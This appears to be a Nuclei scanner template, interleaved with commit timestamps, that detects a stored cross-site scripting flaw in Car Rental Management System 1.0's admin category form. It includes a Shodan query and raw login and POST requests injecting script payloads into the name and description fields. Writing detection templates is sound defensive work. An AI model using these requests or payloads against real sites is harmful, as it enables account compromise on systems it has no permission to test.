2022-07-31 21:09:55 +00:00
id : carrental-xss
info :
2022-09-21 21:42:27 +00:00
name : Car Rental Management System 1.0 - Cross-Site Scripting
2022-07-31 21:09:55 +00:00
author : arafatansari
2022-08-01 05:21:34 +00:00
severity : medium
2022-07-31 21:09:55 +00:00
description : |
2022-09-21 21:42:27 +00:00
Car Rental Management System 1.0 contains a cross-site scripting vulnerability via admin/ajax.php?action=save_category in Name and Description parameter.
2022-07-31 21:09:55 +00:00
reference :
- https://www.exploit-db.com/exploits/49546
2022-08-01 05:21:34 +00:00
- https://www.sourcecodester.com/
2022-09-21 21:42:27 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-07-31 21:09:55 +00:00
metadata :
2022-08-01 05:21:34 +00:00
verified : true
2022-07-31 21:09:55 +00:00
shodan-query : http.html:"Car Rental Management System"
2022-08-27 04:41:18 +00:00
tags : xss,cms,authenticated,edb
2022-07-31 21:09:55 +00:00
requests :
- raw :
- |
POST /admin/ajax.php?action=login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-08-01 05:21:34 +00:00
username={{username}}&password={{password}}
2022-07-31 21:09:55 +00:00
- |
POST /admin/ajax.php?action=save_category HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryCMJ5bh3B6m9767Em
------WebKitFormBoundaryCMJ5bh3B6m9767Em
Content-Disposition : form-data; name="id"
------WebKitFormBoundaryCMJ5bh3B6m9767Em
Content-Disposition : form-data; name="name"
2022-08-01 05:21:34 +00:00
</script><script>alert(document.domain)</script>
2022-07-31 21:09:55 +00:00
------WebKitFormBoundaryCMJ5bh3B6m9767Em
Content-Disposition : form-data; name="description"
2022-08-01 00:10:27 +00:00
<script>alert(document.domain)</script>
2022-07-31 21:09:55 +00:00
------WebKitFormBoundaryCMJ5bh3B6m9767Em--
- |
GET /admin/index.php?page=categories HTTP/1.1
Host : {{Hostname}}
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-07-31 21:09:55 +00:00
max-redirects : 2
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-08-01 05:21:34 +00:00
- '<p>Name : <b></script><script>alert(document.domain)</script></b>'
- type : word
part : header
words :
- text/html
2022-07-31 21:09:55 +00:00
- type : status
status :
- 200
2022-09-21 21:42:27 +00:00
# Enhanced by md on 2022/09/19